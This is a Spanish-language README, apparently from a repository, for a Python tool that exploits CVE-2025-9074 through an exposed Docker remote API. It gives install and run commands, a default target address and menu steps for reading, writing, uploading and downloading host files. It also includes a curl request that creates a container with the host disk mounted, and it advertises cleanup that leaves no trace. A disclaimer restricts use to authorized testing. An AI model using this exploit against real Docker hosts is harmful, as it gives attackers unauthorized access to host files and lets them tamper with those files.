
Una herramienta poderosa de explotación de la API remota de Docker para la investigación y pruebas de seguridad de la vulnerabilidad CVE-2025-9074.
Una potente herramienta de explotación de vulnerabilidades de la API remota de Docker, para la investigación y prueba de seguridad de la vulnerabilidad CVE-2025-9074.
✅ Gestión totalmente automatizada del ciclo de vida del contenedor: Crea contenedores temporales automáticamente y los limpia automáticamente después de las operaciones, sin dejar rastro
✅ Manejo inteligente de rutas: Reconoce y convierte automáticamente las rutas de Windows al formato de montaje de Docker
✅ Flujo de operaciones totalmente automatizado: No es necesario ingresar comandos complejos manualmente, interacción basada en menús, operaciones de archivos con un solo clic
✅ Compatibilidad multiplataforma: Soporta perfectamente sistemas Windows y Linux
Operaciones con contenedores
Gestión de imágenes
Operaciones de archivos en el host
CVE-2025-9074 es una vulnerabilidad de seguridad en la API remota de Docker. Un atacante puede, mediante acceso no autorizado a la API de Docker:
Instale todas las dependencias usando requirements.txt:
pip install -r requirements.txt
O instale manualmente:
pip install requests docker websocket-client
Ejecute el script directamente, usando la dirección predeterminada de la API de Docker:
python CVE-2025-9074-docker-exploit.py
python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375
python CVE-2025-9074-docker-exploit.py [opciones]
Opciones:
-u, --url URL Dirección de la API de Docker (predeterminado: http://192.168.65.7:2375)
1. Subir archivo al host
Ingrese la ruta del archivo local: /path/to/local/file.txt
Ingrese el directorio de destino en el host: D:/temp
Ingrese el nombre del archivo de destino (déjelo en blanco para usar el nombre original):
2. Descargar archivo del host
Ingrese la ruta del archivo en el host: D:/temp/file.txt
Ingrese la ruta de guardado local: /tmp
3. Leer contenido de archivo del host
Ingrese la ruta del archivo en el host: D:/temp/file.txt
4. Escribir archivo en el host
Ingrese el directorio de destino en el host: D:/temp
Ingrese el contenido del archivo: Hello, World!
Esta herramienta maneja automáticamente el mapeo de rutas de Windows Docker Desktop:
| Ruta de Windows |
|---|
Formatos de entrada compatibles:
D:\ o D:/D:\temp o D:/temp"D:\file.txt" (con comillas)'D:/file.txt' (con comillas)⚠️ Aviso importante:
Crear un contenedor a través de la API de Docker y montar el disco del host:
curl -X POST "http://<target>:2375/containers/create" \
-H "Content-Type: application/json" \
-d '{
"Image": "python:3.11.7",
"Cmd": ["sleep", "999d"],
"HostConfig": {
"Binds": ["/mnt/host/d:/tmp"]
},
"Tty": true
}'
Leer y escribir archivos del host ejecutando comandos en el contenedor:
# 写入文件
echo "content" > /tmp/file.txt
# 读取文件
cat /tmp/file.txt
pip install docker websocket-clientpython CVE-2025-9074-docker-exploit.py
CVE-2025-9074-docker-exploit.py
├── Funciones de gestión de contenedores
│ ├── get_containers()
│ ├── display_containers()
│ ├── create_container()
│ ├── stop_container()
│ └── delete_container()
├── Funciones de gestión de imágenes
│ ├── get_images()
│ ├── display_images()
│ ├── pull_image()
│ └── remove_image()
├── Funciones de operaciones de archivos en el host
│ ├── upload_file_to_host()
│ ├── download_file_from_host()
│ ├── read_file_from_host()
│ └── write_file_to_host()
└── Funciones de utilidad
├── normalize_host_path()
├── create_container_with_mount()
├── start_container()
└── stop_and_remove_container()
¡Las contribuciones (Issues y Pull Requests) son bienvenidas!
Este proyecto es solo para fines educativos y de investigación en seguridad.
Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El usuario asume toda la responsabilidad y riesgo al usar esta herramienta. El autor no se hace responsable de ningún uso indebido o no autorizado de esta herramienta.
| Ruta de montaje de Docker |
|---|
D:\ | /mnt/host/d |
D:\temp | /mnt/host/d/temp |
C:\Windows | /mnt/host/c/Windows |
C:\Users\test | /mnt/host/c/Users/test |